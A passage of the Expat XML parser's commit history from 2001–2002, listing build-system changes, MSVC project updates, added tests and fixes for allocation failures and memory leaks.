  - script to extract the version number from expat.h

* configure.in:
  (some from the cygwin patch)
  - update the prereq to 2.52 instead of just 2.50
  - update the AC_INIT line to 2.52 standards: include the package
    name, version (with a lot of gunk to get this), and where to send
    bugs)
  - update the output file generation to 2.52 standards

* make-release.sh:
  - update to use the new get-version.sh script

* lib/expat.h:
  - from cygwin: add a little define for CYGWIN
2002-05-18 00:26:59 +00:00
Greg Stein de857347b6 Remove acconfig.h altogether by removing XML_BYTE_ORDER. We can simply
use the BYTEORDER constant that ac_c_bigendian_cross.m4 generates.

* accconfig.h: removed; obsolete.

* lib/winconfig.h:
  - set the BYTEORDER constant, rather than XML_BYTE_ORDER, and leave
    a note about what we're assuming.

* lib/xmltok.c, lib/xmltok_ns.c:
  - change all XML_BYTE_ORDER references to BYTEORDER, and
    update the constants from 12, 21 to 1234, 4321 respectively.
2002-05-17 21:42:05 +00:00
Greg Stein 950c9a1124 A couple more tweaks for config.h -> expat_config.h 2002-05-17 21:38:44 +00:00
Greg Stein 0d64c9f4e9 There is no lib/config.h file... 2002-05-17 21:38:12 +00:00
Greg Stein 366e9ccd3e ignore the expat_config.h* files rather than config.h* 2002-05-17 21:35:12 +00:00
Greg Stein 9fcff4a9eb Various configuration fixes, focused primarily around expat_config.h
(which used to be called config.h)

* configure.in:
  - change the header name to expat_config.h to prevent any possible
    conflict with some other packages 'config.h'
  - add a prerequisite on autoconf 2.50 or newer
  - shift some acconfig.h values to AC_DEFINE() values

* MANIFEST:
  - rename config.h.in to expat_config.h.in

* Makefile.in:
  - clean out expat_config.h* instead of config.h*

* acconfig.h:
  - remove the XML_NS, XML_DTD, and XML_CONTEXT_BYTES symbols; they
    are now defined directly by configure.in
  - shift the memmove() compatibility to xmlparse.c, its only consumer
  - remove the @BOTTOM@ part since there are no more values to put at
    the bottom of expat_config.h.in via acconfig.h

* xmlparse.c:
  - switch from config.h to expat_config.h
  - insert macro to define memmove() if it isn't available, but
    bcopy() is available. also, changed one branch to #error rather
    than insert bogus code.

* xmlrole.c:
  - tweak the copyright header, per Fred-ism
  - remove the unused RCSId[] variable (no other file has these)
  - switch from config.h to expat_config.h

* xmltok.c:
  - switch from config.h to expat_config.h
2002-05-17 21:30:07 +00:00
Greg Stein d3947b2fef follow Fred's footsteps and reformat the copyright header. 2002-05-17 21:23:35 +00:00
Greg Stein dd5f540cbf These files are unmaintained, so I'm removing them. If somebody wants
to restart a C++ Expat, they should use the current sources. Of
course, these will always be available in the CVS repository for
historical purposes and for recovery.
2002-05-17 21:16:42 +00:00
Fred L. Drake, Jr. aeb96f4e38 Code hygiene edits. 2002-05-17 19:12:54 +00:00
Fred L. Drake, Jr. 935f3457ef Remove unused files. 2002-05-17 18:55:08 +00:00
Fred L. Drake, Jr. 65b4ed8f47 Using "0" instead of "NULL" is insane, and leads to unmaintainable code.
Fix a number of other "code-hygiene" consistency nits.
2002-05-17 18:47:53 +00:00
Fred L. Drake, Jr. 7040180274 Minor nit; layout function signatures in a more consistent way. 2002-05-17 18:17:33 +00:00
Fred L. Drake, Jr. fa2455c305 Include a more reasonable definition of the UTF8_INVALID3() macro.
It still is not used anywhere, though.  ;-(
2002-05-17 18:05:06 +00:00
Fred L. Drake, Jr. ad5481c9f5 Using "0" instead of "NULL" is insane, and leads to unmaintainable code. 2002-05-17 17:21:51 +00:00
Fred L. Drake, Jr. aec2b976cd Hopefully the last needed checks for MALLOC() failure in xmlparse.c, this
avoids memory faults when the initial allocations fail, returning NULL to
the caller instead.
This closes SF bug #496505.
2002-05-17 15:21:53 +00:00
Fred L. Drake, Jr. 7857293967 Be more careful about failed MALLOC() and REALLOC() calls. This avoids a
number of potential memory leaks.
2002-05-17 15:09:34 +00:00
Fred L. Drake, Jr. 0ddc85a661 Updated for the 1.95.3 release. 2002-05-17 14:15:38 +00:00
Fred L. Drake, Jr. 74b32a6fc3 Make the uninstall target use the right location for the header file. 2002-05-17 14:12:25 +00:00
Fred L. Drake, Jr. fa1711873b Added a link to an article with additional C++ wrappers for Expat,
by Tim Smith.
2002-05-17 13:42:36 +00:00
Fred L. Drake, Jr. 3edce7a7ca Fix a number of potential memory leaks around REALLOC(). More are lurking. 2002-05-17 03:41:34 +00:00
Fred L. Drake, Jr. 5b5c48d4a3 Add casts to suppress a couple of warnings from MSVC with warning level 4. 2002-05-15 15:57:22 +00:00
Karl Waclawek 0b4f62dbe2 Added link to Expat wrapper for Delphi 2002-05-10 16:32:59 +00:00
Greg Stein cd48fb33d6 Patch from Joe Orton <joe@manyfish.co.uk>:
Allow the environment to specify a different autoconf and autoheader.
This is useful when Expat is bundled into another program, which is
being configured using something other than the autoconf/autoheader in
the path.
2002-05-10 00:10:57 +00:00
Fred L. Drake, Jr. a0a093184c Added a reference to tDOM (Tcl DOM package using Expat). 2002-05-09 15:09:18 +00:00
Fred L. Drake, Jr. fce382d610 Oops, fix the title! 2002-05-09 12:26:45 +00:00
Fred L. Drake, Jr. 0cee361f66 Completely replace the style of the Expat web page, but keep the original
content.  (I need to write new content, but that is a separate task.)
2002-05-09 12:24:46 +00:00
Fred L. Drake, Jr. 2e00d6e6b3 Simple style sheet for the Expat web page. 2002-05-09 12:14:54 +00:00
Fred L. Drake, Jr. 8292fa6968 Lame "logo" for the Expat web page. 2002-05-09 12:14:33 +00:00
Fred L. Drake, Jr. bcf2a3ecf4 Added link to information about a C++ binding for Expat. 2002-05-08 11:26:01 +00:00
Fred L. Drake, Jr. 7ed4ac9d81 xml_failure(): Pass the relevant XML_Parser into the function so it is
useful when parsing external entities as well as the document entity.

All callers have been updated.
2002-05-04 21:47:46 +00:00
Fred L. Drake, Jr. d05c7a58f7 Added target to run checks based on xmlwf and James Clark's test cases.
This is not run by "make check" since it requires unzip, wget, and network
access to set up the tests.  Use "make run-xmltext" to run the tests.
2002-04-29 21:31:18 +00:00
Fred L. Drake, Jr. 0767c2ce17 Fix stupid last minute change. 2002-04-29 17:10:26 +00:00
Fred L. Drake, Jr. d29adbd972 Added a bunch of assertions that internal assumptions are not violated
(specifically, make sure args are not NULL).

If the expected value is not the right length, include the value found in
the error message, to make problems easier to diagnose.
2002-04-29 17:09:31 +00:00
Fred L. Drake, Jr. 6556c9be67 Wrap some long lines, including ones I just introduced.
There ought to be a good way to use a real editor with MSCV!
2002-04-26 05:14:20 +00:00
Fred L. Drake, Jr. 79aab4b10a Cut down on the warnings from MSVC6 on Warning Level 4. 2002-04-26 04:46:24 +00:00
Fred L. Drake, Jr. 198ab270fe Revise the data accumulation to be at least a little separated from the
actual test code.  Not pretty & lacking in internal documentation, but
allows the test code to be a bit more readable.
2002-04-25 04:04:42 +00:00
Fred L. Drake, Jr. d701da0bd5 Make the organization slightly easier to discern. 2002-04-25 01:42:34 +00:00
Fred L. Drake, Jr. f759700086 Added "NEWS" file for 1.95.3. Still needs to be filled in a bit. 2002-04-24 13:11:00 +00:00
Fred L. Drake, Jr. 6af14eca02 Bump version number. 2002-04-24 13:10:09 +00:00
Fred L. Drake, Jr. a1451f8ae7 Take advantage of XML_ParserReset(): Instead of creating new parsers in
run_*_check(), reset the parser between uses in the one place its actually
needed.
2002-04-24 03:48:03 +00:00
Fred L. Drake, Jr. 644d3aca65 XML_ParserReset(): New function. Reset a parser to be used again, without
having to incur memory allocation costs for subsequent parses.
This closes SF patch #450608, contributed by David Crowley.
2002-04-24 03:36:23 +00:00
Fred L. Drake, Jr. 36f5bfd4b9 Squash compiler warning (GCC): simply referencing a variable in the
initialization clause of a for statement does not have any effect.
2002-04-23 21:36:16 +00:00
Karl Waclawek 968b13268b Attribute type constants did not have null terminators. 2002-04-23 19:48:29 +00:00
Karl Waclawek 42ab6c34f1 Fixed rev. 1.26 patch for XML_SetReturnNSTriplet.
Added fixes to make UTF-16 output work when XML_UNICODE is defined.
2002-04-23 13:49:31 +00:00
Karl Waclawek 59d1c05288 XML_UNICODE fixes 2002-04-23 13:48:50 +00:00
Fred L. Drake, Jr. d2baa2aec2 Add a new test that demonstrates SF bug #481609 is invalid. 2002-04-22 18:50:18 +00:00
Fred L. Drake, Jr. c5e5a2cab9 Test support enhancements:
_xml_failure():  Clean up the output message so the first line doesn't
    wrap in the typical case.

CharData typedef:  If count is less than 0, consider it "unset".  This
    is used in the new support to check attribute values.

accumulate_characters():  Handle storage->count < 0.  Allow XML_Char
    to be more than one byte.

accumulate_attribute():  New function: store the value of the first
    attribute encountered in parsing.  This needs the concept of a
    CharData that is unset to allow capturing a value that is an empty
    string.

check_characters():  Handle storage->count < 0.  Allow XML_Char to be
    more than one byte.

run_character_check():  Create a local parser so that both
    run_character_check() and run_attribute_check() can be used in a
    single test function.

run_attribute_check():  New function: check that the value of the
    first attribute in a document matches the expected value.
2002-04-22 18:46:00 +00:00
Fred L. Drake, Jr. 91e3f5c543 Add support for the xmlwf manpage, both for install and uninstall. 2002-04-22 17:04:36 +00:00
Fred L. Drake, Jr. fe6c8d05d1 Formatted version of the Unix manpage, ready for installation. 2002-04-22 17:03:39 +00:00
Greg Stein 5fa57b76e6 xmlwf should depend on the library, too. 2002-04-22 10:22:48 +00:00
Fred L. Drake, Jr. 109bee0339 Added another line to the copyright notice. 2002-04-20 21:32:22 +00:00
Fred L. Drake, Jr. 94cf789277 Bump version number. 2002-04-20 21:17:15 +00:00
Fred L. Drake, Jr. 280934fb22 Bump the release number.
Remove text about -fexceptions for use with C++; that is added automatically
now.
2002-04-20 21:15:46 +00:00
Fred L. Drake, Jr. 16b90ab627 Add missing word in comment. 2002-04-20 21:14:48 +00:00
Fred L. Drake, Jr. d084912ca5 Added missing library to link line for tests; not sure how this had not
been checked in!
2002-04-20 13:24:59 +00:00
Fred L. Drake, Jr. 307462a492 Added test for SF bug #480278. 2002-04-20 13:19:40 +00:00
Fred L. Drake, Jr. be3da03386 Simplify the command used to run the test program. 2002-04-20 13:11:16 +00:00
Fred L. Drake, Jr. e2db2bc4c4 Fix typo in comment. 2002-04-20 02:53:15 +00:00
Fred L. Drake, Jr. ad358dec9e Check in SF patch #488196: Make xmlwf read from standard input.
This modifies the patch for style (slightly).

The style of these files is also slightly modified in an attempt to create
more consistency.  (But that mostly swamps the feature patch.)
2002-04-19 21:41:54 +00:00
Fred L. Drake, Jr. 118257bc4c Added a test for SF bug #231864. 2002-04-19 20:59:01 +00:00
Fred L. Drake, Jr. 37371404cd Check in SF patch #476929: Fix XML_SetReturnNSTriplet().
This is slightly modified from the submitted patch to ensure a variable is
never used uninitialized.
Patch contributed by Karl Waclawek.
2002-04-19 20:52:39 +00:00
Fred L. Drake, Jr. 1258481fbc Add a test that checks that illegal UTF-8 sequences are not allowed to pass
when we are using UTF-8 encoding.
This closes SF bug #477667.
2002-04-19 19:18:35 +00:00
Fred L. Drake, Jr. 1d5e745673 Make the sample applications depend on the Expat library. 2002-04-19 18:57:24 +00:00
Fred L. Drake, Jr. 083326894e Add the new tests to the right TCase object. 2002-04-19 18:50:26 +00:00
Fred L. Drake, Jr. 38b6ee29b2 basic_setup(): Remove bogus assumption that all tests would use US-ASCII
data; let Expat determine the proper encoding from the XML source text.

Added several tests relating to supposed mis-interpretation of Latin-1;
these show that Expat (at least in the CVS version) is properly decoding
the Latin-1 text and generating the proper UTF-8 output.

This closes SF bug #491986, #514281.
2002-04-19 18:25:07 +00:00
Fred L. Drake, Jr. 276e2517e0 Wrap some long lines. 2002-04-19 16:19:33 +00:00
Fred L. Drake, Jr. a826299332 Remove files that are no longer used.
This closes SF patch #488187.
2002-04-16 03:24:48 +00:00
Fred L. Drake, Jr. b3a7f3c981 Fix name of the "bin" directory; was missing the default $prefix component. 2002-04-16 02:12:20 +00:00
Fred L. Drake, Jr. 3586d75088 Add link to the TclXML project (includes Tcl binding for Expat). 2002-02-25 16:40:42 +00:00
Fred L. Drake, Jr. fbd09c0cf0 Manual page for the xmlwf utility, contributed by Scott Bronson.
[Description of the -v option added to the original, contributed text.]
2002-02-21 21:27:55 +00:00
Fred L. Drake, Jr. 0fe7c4095f Added links to the Objective-C and Ruby bindings to Expat. 2002-01-21 19:49:40 +00:00
Fred L. Drake, Jr. ac32064e84 Add a list of references to other Expat resources.
It is short, but it includes a plea for additional links.
2002-01-11 15:42:12 +00:00
Greg Stein efda56d9fb Fix the URL to the online CVS browsing. 2001-12-10 00:52:55 +00:00
Greg Stein cd88ed2b08 Remove the Makefile.in files from the subdirs 2001-12-07 10:20:51 +00:00
Greg Stein a13d856e8f * Switch to a single, top-level Makefile (simplification, consistency)
* use libtool to compile/link all programs
* remove */Makefile.in and remove them from configure
* remove autom4te.cache after running autoconf
* remove .o from the FILEMAP logic in configure and the Make system;
  provides more flexibility in the Makefile to use it
* for VPATH builds: create the build subdirs by running
  "make mkdir-init" from the configure script
* adjust .cvsignore files to account for presence of .libs now
2001-12-07 10:19:31 +00:00
Fred L. Drake, Jr. 5ca5c566a6 Add a -v option to cause xmlwf to report the version of Expat (hence the
version of xmlwf).
2001-12-05 16:30:31 +00:00
Fred L. Drake, Jr. f762a852d9 Add a check for unknown command line options. 2001-11-18 13:56:01 +00:00
Fred L. Drake, Jr. 3a1a7b9e6d Use the SF logo that has no box around the edge; it looks a bit cleaner. 2001-11-18 05:27:12 +00:00
Fred L. Drake, Jr. 4bc54b7225 prologProcessor(): Avoid segfault by making sure "next" is initialized;
fix suggested by Tim Crook.
This fixes (I think!) SF bug #226514.

Removed extra "break".
2001-11-16 20:57:30 +00:00
Fred L. Drake, Jr. 01012061bc Added a test to make sure that whitespace in ENTITIES, IDREFS, and NMTOKENS
attributes is properly collapsed according to Section 3.3.3 of the spec.
This is the first even slightly complicated test; boy are these painful in
C!  Had to add a test of a helper routine as well; that just uses assertions
since the test framework should not be dealing with tests of the tester,
just of Expat.

Added a helper to make the failure messages more useful when Expat produces
an unexpected error code; we now include the error message and location from
Expat.  This is mostly useful when developing a new test.
2001-11-16 20:19:39 +00:00
Fred L. Drake, Jr. b1447b1ba3 Added tests that some basic encodings are recognized and the corresponding
BOM marks do not cause core dumps.  The UTF-8 BOM bug was fixed a while ago,
but a regression test is always a good idea.
2001-11-13 17:31:53 +00:00
Fred L. Drake, Jr. 1cd143fcf7 Note that the tests need check 0.8 to work. 2001-11-13 05:04:51 +00:00
Fred L. Drake, Jr. 3e89ab4c4b Update to work with check 0.8. 2001-11-13 05:04:02 +00:00
Fred L. Drake, Jr. 5769f4a431 Added a test that ensures the parser reports an out-of-place XML declaration.
(Originally written to attempt to tickle a different bug, but useful as a
regression test even though Expat has been doing the right thing.)
2001-11-13 04:49:52 +00:00
Fred L. Drake, Jr. a81be4f942 As long as SourceForge is changing their logo, we can look really slick too.
A little geometric twiddle can take us a long way toward fame & fortune! ;-)
2001-11-09 20:21:10 +00:00
Fred L. Drake, Jr. fb71e03022 Added note about conftools/expat.m4. 2001-11-09 04:57:33 +00:00
Fred L. Drake, Jr. 777f7a9413 autoconf probe macro to determine how to use Expat.
Anonymous contribution: SF patch #438892.
2001-11-09 04:55:33 +00:00
Fred L. Drake, Jr. 8b8f94fc2c Be more careful about deciding which filemap implementation to use for
xmlwf.  Part of SF patch #465018.

Only add the -fexceptions option when the version of GCC we're using
actually supports it.  This relates to & partially solves SF bug #445893;
see also SF bug #419585 for why the option was originally added.
2001-11-09 04:19:01 +00:00
Fred L. Drake, Jr. 212aa11153 Include header to avoid compiler warnings. Part of SF patch #465018. 2001-11-09 04:08:51 +00:00
Fred L. Drake, Jr. 693ce050a7 Be more reliable about using the libtool version on the PATH when this
script is run.  Part of SF patch #465018.
2001-11-09 04:07:43 +00:00
Fred L. Drake, Jr. 1c626a9def Define & use $(srcdir). Part of SF patch #465018. 2001-11-09 04:04:55 +00:00
Fred L. Drake, Jr. b9ca027b09 Revert previous change and use an alternate approach, this time actually
tested on one of the platforms that exhibited the problem this tries to
fix.  Solution contributed by Michael C. Maggio; thanks!
2001-10-02 16:40:17 +00:00
Fred L. Drake, Jr. 5c7be90ecd Wrap a *lot* of long lines to fit in an 80-column world, but still not all.
Change one of the error messages, closing SF bug #463032.
2001-10-01 20:52:54 +00:00
Fred L. Drake, Jr. 96a1672aea Abandon the use of directory names as target names; there are enough
platforms for which .PHONY is not implemented that this causes the build to
be tedious for those users, leading to bug reports.
2001-10-01 20:15:39 +00:00
Fred L. Drake, Jr. 28a00dfecb Added a "-c" option to the $CC command line to make this macro work as
expected on more platforms (IBM's xlC compiler in particular).
2001-10-01 20:03:13 +00:00
Greg Stein 3a09ad5535 Hush up, cvs... 2001-08-23 13:27:38 +00:00
Greg Stein 48d3438f5a Simplify the version handling some more by breaking the release process out
of the makefile into a separate script -- the script can do much more and
the makefile dependencies were not used anyways (just serving to obfuscate).
2001-08-23 13:26:37 +00:00
Greg Stein 28bc02a20a We are shipping expat.h now, not expat.h.in 2001-08-23 13:12:17 +00:00
Greg Stein a5e3cad879 Revamp how the version stuff is handled. Use the header file as the
original, and extract the numbers within the configure script.

* configure.in: extract the numbers from lib/expat.h

* Makefile.in: simplify the construction of DISTDIR

* lib/Makefile.in: no need to define the VERSION preprocessor symbol

* lib/expat.dsp: do not define VERSION (changed, but untested!)

* lib/xmlparse.c: revamp the XML_ExpatVersion() function

* lib/expat.h(.in): just ship the baby, rather than generating it
2001-08-23 12:35:53 +00:00
Greg Stein 33589a12bc * stop using aclocal.m4 and directly sinclude() the .m4 files into the
configure script. don't "clean" it and remove it from .cvsignore.
  Note: to avoid problems in developer dirs, we nuke the file in
  buildconf.sh for now; we'll stop doing that at some future time.
  [idea from ASF]

* look for glibtoolize, in addition to libtoolize (e.g. the MacOS X platform
  names it differently). [patch from ASF]

* conftools/missing is not needed

* use "exit 0" in buildconf.sh to help calling scripts. [patch from ASF]

* minor output cleanup in "make clean"
2001-08-23 11:27:26 +00:00
Greg Stein 866f6330cc Clean out some unused bits from the makefiles. Remove some of the recursion
and just do it from the top-level instead.
2001-08-23 09:24:45 +00:00
Fred L. Drake, Jr. b48c6919bb Update so the tests will be run by "make check". 2001-08-17 19:23:02 +00:00
Fred L. Drake, Jr. 559fbc6c4b Tell CVS to ignore the intermediate files generated by building the test
suite.
2001-08-17 19:16:41 +00:00
Fred L. Drake, Jr. cc89b6f763 Build & run the test suite. 2001-08-17 19:16:41 +00:00
Fred L. Drake, Jr. ed9b8e0d46 Explain what is required to build & run the test suite, and that it all
might change in the future.
2001-08-17 19:16:41 +00:00
Fred L. Drake, Jr. fcf971bfe0 A very small test suite for Expat; additional tests will be added as time
permits.
2001-08-17 19:16:41 +00:00
Fred L. Drake, Jr. d165185951 Added a note to the XML_GetCurrentByteCount() function that it returns 0
for the end tag event when an empty-element tag is used.  Noted on
expat-discuss by Michael Isard.
2001-08-13 19:10:09 +00:00
Fred L. Drake, Jr. 9e70122a1d Make sure SHELL is properly set from the configure script.
This closes SF bug #448560.
2001-08-10 13:53:58 +00:00
Fred L. Drake, Jr. 57a3480f95 XML_Parse(): If XML_GetBuffer() returns NULL, do not attempt to move
data aronud, just propogate the error.

This closes SF bug #434665.
2001-08-09 18:08:56 +00:00
Fred L. Drake, Jr. 34966ccef9 Switch to testing that _MSC_EXTENSIONS is defined, not __declspec. (We can
probably remove the exception for __BEOS__ now, but I cannot test that.)
2001-07-30 19:01:47 +00:00
Fred L. Drake, Jr. 8c802e078d Fix a couple of stupid typos that I should have caught before release. 2001-07-28 03:29:55 +00:00
Fred L. Drake, Jr. f91dde5506 Update to match the latest version of the installer. 2001-07-27 20:35:39 +00:00
Fred L. Drake, Jr. 94c3265d8a Suggest that Windows users get the installer; it will do things that make
more sense than the Unix sources.
2001-07-27 20:34:52 +00:00
Fred L. Drake, Jr. a650c5f93f Remove some bogus preprocessor definitions. 2001-07-27 20:26:23 +00:00
Fred L. Drake, Jr. a81f09f829 Remove all traces of the XMLCALLBACK macro -- there appears to be no way
to add __cdecl to a typedef of a function type that MSVC does not complain
about.  Callback implementations may need to add explicit __cdecl
annotations in sources not compiled with the C calling convention as the
default.
2001-07-27 17:17:44 +00:00
Fred L. Drake, Jr. df1b71d17e Try again. 2001-07-27 17:03:01 +00:00
Fred L. Drake, Jr. 58be86d815 Make sure that XMLPARSEAPI specifies the calling convention when building
under MSVC -- this is needed when using the pre-compiled DLL with projects
built using a different calling convention.

XMLPARSEAPI now takes the return type as a parameter and inserts annotations
on both sides of the type to make sure the compiler is happy.  A new
macro, XMLCALLBACK, is used to perform similar annotation of the callback
function types, which do not need the dllimport/dllexport annotations but
do still need the __cdecl annotation.

This closes SF bug #413653.
2001-07-27 16:30:56 +00:00
Fred L. Drake, Jr. f14ab18aa7 Shorten the name of the directory we store the uninstaller in. 2001-07-27 15:31:22 +00:00
Fred L. Drake, Jr. edc66fb325 Add more information to the Welcome screen of the installer. 2001-07-27 15:22:35 +00:00
Fred L. Drake, Jr. d727f59ad9 Don't use the program database in MSVC. The others got this right. 2001-07-27 15:12:47 +00:00
Fred L. Drake, Jr. f6ea3590dc Update the lib and xmlwf project files to be part of the larger workspace. 2001-07-27 14:56:31 +00:00
Fred L. Drake, Jr. 903a9f4754 Try to make the Windows installer a little more rational, and install all
the sources a developer might want, not just the parser itself.
2001-07-27 14:54:11 +00:00
Fred L. Drake, Jr. a199491044 Adding back the MSVC workspace, adding in the sample projects as well. 2001-07-27 14:46:06 +00:00
Fred L. Drake, Jr. 6c15b0bcab Now we need to ignore some MSVC turds here. 2001-07-27 14:42:33 +00:00
Fred L. Drake, Jr. 946da4dc14 No longer need to ignore MSVC turds in this directory. 2001-07-27 14:40:42 +00:00
Fred L. Drake, Jr. 73a46385ea Move the MSVC workspace up one directory level so the generated Windows
installer can be more reasonable.
2001-07-27 14:39:42 +00:00
Fred L. Drake, Jr. b3fd15c445 Avoid creating extra output directories from MSVC. 2001-07-27 14:21:23 +00:00
Fred L. Drake, Jr. 4e2de83794 More project files for MSVC. 2001-07-27 14:08:17 +00:00
Fred L. Drake, Jr. c944beaea1 Ignore some additional Windows/MSVC cruft. 2001-07-27 14:05:30 +00:00
Fred L. Drake, Jr. bb4a4de066 I'm not really sure why this version of the file is still here, but
migrate the UTF-8 BOM fix here as well, so this does not get too far
out of sync.
2001-07-27 13:59:00 +00:00
Fred L. Drake, Jr. cff7d19ac6 Simplify the Unix source release; do not include all the Windows project
files and the like.  The Windows installer will include all that.
2001-07-27 13:28:49 +00:00
Fred L. Drake, Jr. bea3e90921 Remove the sample directory; it is no longer used. 2001-07-26 21:57:57 +00:00
Fred L. Drake, Jr. 749b7fb3a1 All sample code is now located in the "examples" directory. 2001-07-26 21:55:33 +00:00
Fred L. Drake, Jr. 86b7ae104d Move the "elements" example code here from "sample", so we only have one
directory of short sample code.
2001-07-26 21:54:43 +00:00
Fred L. Drake, Jr. d8263250ee More GCC flags, when we're using GCC:
-Wmissing-prototypes, to tighten up the warnings, and
-fexceptions, to make the generated code exception-safe when using it
with C++ code.

This closes SF bug #419585.
2001-07-26 20:48:06 +00:00
Fred L. Drake, Jr. a0a80f5f43 Settle on a release date, and note that there is now a Windows installer. 2001-07-26 20:32:22 +00:00
Fred L. Drake, Jr. a6849ef2f1 Add xmlwf to the default build, since the install includes it. 2001-07-26 20:31:15 +00:00
Fred L. Drake, Jr. 8d4ff3433c Make the built installer land in an existing directory. 2001-07-26 19:58:06 +00:00
Fred L. Drake, Jr. cfc6d2264f Add an overview of where everything ends up when installed by the Windows
installer.  This will be installed at the top of the Windows installation.
2001-07-26 19:50:28 +00:00
Fred L. Drake, Jr. 2b1678311c Changes so that we can actually build an installer, and fix the URLs. 2001-07-26 19:44:42 +00:00
Fred L. Drake, Jr. 41d112cacd Installer-builder script for Inno Setup, contributed by Tim Peters. 2001-07-26 18:28:17 +00:00
Fred L. Drake, Jr. 5a77c3f5bd Update the RPM .spec file for 1.95.2. 2001-07-25 20:14:13 +00:00
Fred L. Drake, Jr. 31a2f5f3a3 Change some options to end up with more rational output dirs. 2001-07-25 18:39:22 +00:00
Fred L. Drake, Jr. 8ec98c9108 Added preliminary changes for the 1.95.2 release. 2001-07-25 18:10:15 +00:00
Fred L. Drake, Jr. 7777219a59 Try to better explain the problems with Sun make -- perhaps someone with
more knowledge of the Sun tools could help explain this?
2001-07-25 18:08:05 +00:00
Fred L. Drake, Jr. 9e91c1f1ee Make sure the configured compiler is used for all subdirectories. 2001-07-25 17:51:40 +00:00
Fred L. Drake, Jr. daec796ad3 Remove #include directory that is no longer needed. 2001-07-25 17:34:17 +00:00
Fred L. Drake, Jr. e875e9de25 Really add the xmlwf project this time. 2001-07-25 17:32:17 +00:00
Fred L. Drake, Jr. cbf62af4f8 One more MSVC file to ignore... 2001-07-25 17:29:46 +00:00
Fred L. Drake, Jr. 286151fe68 When using GCC, use stronger error-checking options. 2001-07-25 17:25:46 +00:00
Fred L. Drake, Jr. a381bda8c4 Removed unusual use of "const" to avoid errors from a Sun compiler. 2001-07-25 17:22:48 +00:00
Fred L. Drake, Jr. 718bd9e746 Removed useless RCSId static from the code.
Added #include to pick up the memmove() prototype.

Added parentheses in some conditions to suppress compiler warnings.
2001-07-25 17:20:45 +00:00
Fred L. Drake, Jr. 712c70975d Remove useless RCSId static from the code. 2001-07-25 17:18:43 +00:00
Fred L. Drake, Jr. f5f84eceff Update comments on the Solaris build to be a little more careful -- or at
least warn the user!
2001-07-25 17:16:03 +00:00
Fred L. Drake, Jr. 75d03cbb54 #include <unistd.h> to pick up the close() prototype. 2001-07-25 17:13:34 +00:00
Fred L. Drake, Jr. c566467bd9 Kill a compiler warning & make private functions static. 2001-07-25 17:11:39 +00:00
Fred L. Drake, Jr. d70490a072 Clean up a few compiler warnings in the sameple code. 2001-07-25 17:04:22 +00:00
Fred L. Drake, Jr. 9e773e76e8 Add the new MSVC workspace file to the list of distributed files. 2001-07-25 16:36:57 +00:00
Fred L. Drake, Jr. 833783b904 Update the windows comments to reflect the current status, including the
added files in the next version of the expat_win32bin package.
2001-07-25 16:35:53 +00:00
Fred L. Drake, Jr. 1c3ac221c3 Update xmlwf project file. 2001-07-25 16:19:04 +00:00
Fred L. Drake, Jr. b6448b02a1 Toss the old MSVC workspace. 2001-07-25 16:13:36 +00:00
Fred L. Drake, Jr. 75dfaef598 Tell CVS to ignore the cruft files generated by MSVC and Source Insight. 2001-07-25 16:10:08 +00:00
Fred L. Drake, Jr. 6561a9e5ed Move the workspace file for MSVC, and let it also build xmlwf. 2001-07-25 16:06:57 +00:00
Fred L. Drake, Jr. 683d9c04da Add install and uninstall targets, along with all the relevant standard
variables.
2001-07-25 15:23:08 +00:00
Fred L. Drake, Jr. 4ae9b88ab8 Remove the extra DESTDIR variable. 2001-07-25 15:13:38 +00:00
Fred L. Drake, Jr. 3e5d0aa4a7 Some minor simplifications, and descend into fewer subdirs on "make install". 2001-07-25 15:12:00 +00:00
Fred L. Drake, Jr. 0951a96a7c Update to reflect the current build process. 2001-07-25 14:59:11 +00:00
Fred L. Drake, Jr. 845f869a2f Remove one more line that was not supposed to have gotten checked in
(part of an unfinished feature).
2001-07-25 14:40:06 +00:00
Fred L. Drake, Jr. 072bdb8045 Ignore the generated executables. 2001-07-25 14:33:28 +00:00
Fred L. Drake, Jr. 475116ad48 Let's not ignore files that are generated too rarely to be a nuissance;
we should remain aware of them.
2001-07-25 13:52:21 +00:00
Fred L. Drake, Jr. 180f35f5eb Revert unintended portion of a checkin; these files were not supposed to
have been changed with the most recent Makefile changes.
2001-07-25 03:29:56 +00:00
Fred L. Drake, Jr. f21b3de88b Added a comment about compiling for use with C++, including the use of the
-fexceptions flag with GCC.

This closes SF bug #419585.
2001-07-25 03:14:39 +00:00
Fred L. Drake, Jr. 05d1fac780 Make sure all the makefiles have at least a dummy check target and
reasonable distclean and maintainer-clean targets.

This fixes the last part of SF bug #430942.
2001-07-25 03:05:22 +00:00
Fred L. Drake, Jr. f501679409 Update the MSVC project. I don't understand all the
changes, but it seems to work.
2001-07-24 21:41:05 +00:00
Fred L. Drake, Jr. be106416dc Reduce the reliance on non-standard "tar" options. 2001-07-24 20:03:28 +00:00
Fred L. Drake, Jr. 3b3a7ec889 Use the AC_C_BIGENDIAN_CROSS macro instead of the non-cross-compile-safe
version normally provided with autoconf.

I have not tested this in a cross-compilation environment, but it does
not break things in my x86 environment.  (If this breaks things for anyone,
please file a bug report!)

This closes SF patch #431342.
2001-07-24 19:54:20 +00:00
Fred L. Drake, Jr. 109f8790f9 Adding cross-compile safe BIGENDIAN test for autoconf. Original source:
http://cryp.to/autoconf-archive/Cross_Compilation/ac_c_bigendian_cross.html

This is part of SF patch #431342.
2001-07-24 19:51:35 +00:00
Fred L. Drake, Jr. 4006aa38b5 Bump the version number and make a few small changes (mostly editorial).
Re-wrap lines to be a little shorter.
2001-07-24 17:08:58 +00:00
Fred L. Drake, Jr. 8a96f5b08d Add the MSVC workspace file. 2001-07-24 16:52:54 +00:00
Fred L. Drake, Jr. ba30f956c8 Tell CVS to ignore the Windows temporary files. 2001-07-24 16:50:37 +00:00
Fred L. Drake, Jr. a6b3939dd9 Oops, remove a prototype for a feature that is not yet ready. 2001-07-24 16:03:51 +00:00
Fred L. Drake, Jr. a0f045d46d The previous checkin of expat.h.in broke the build for Windows (now everyone
will just have to wonder how I got anything at all working on Windows).

Since we do not want to place the XMLPARSEAPI marker in the middle of a
type name, always tack it onto the beginning -- anywhere else seems fragile
at best.
2001-07-24 16:00:52 +00:00
Fred L. Drake, Jr. 84ec06ca9c Support building from directories other than the source directory.
Patch contributed by Mo DeJong -- thanks!

This closes SF patch #431340.
2001-07-21 03:37:12 +00:00
Fred L. Drake, Jr. 517663ce07 Avoid specifying XMLPARSEAPI in the middle of a prototype's return
value; some compilers that expand XMLPARSEAPI to a non-empty value
complain.

This closes SF patch #412076.
2001-07-21 02:28:28 +00:00
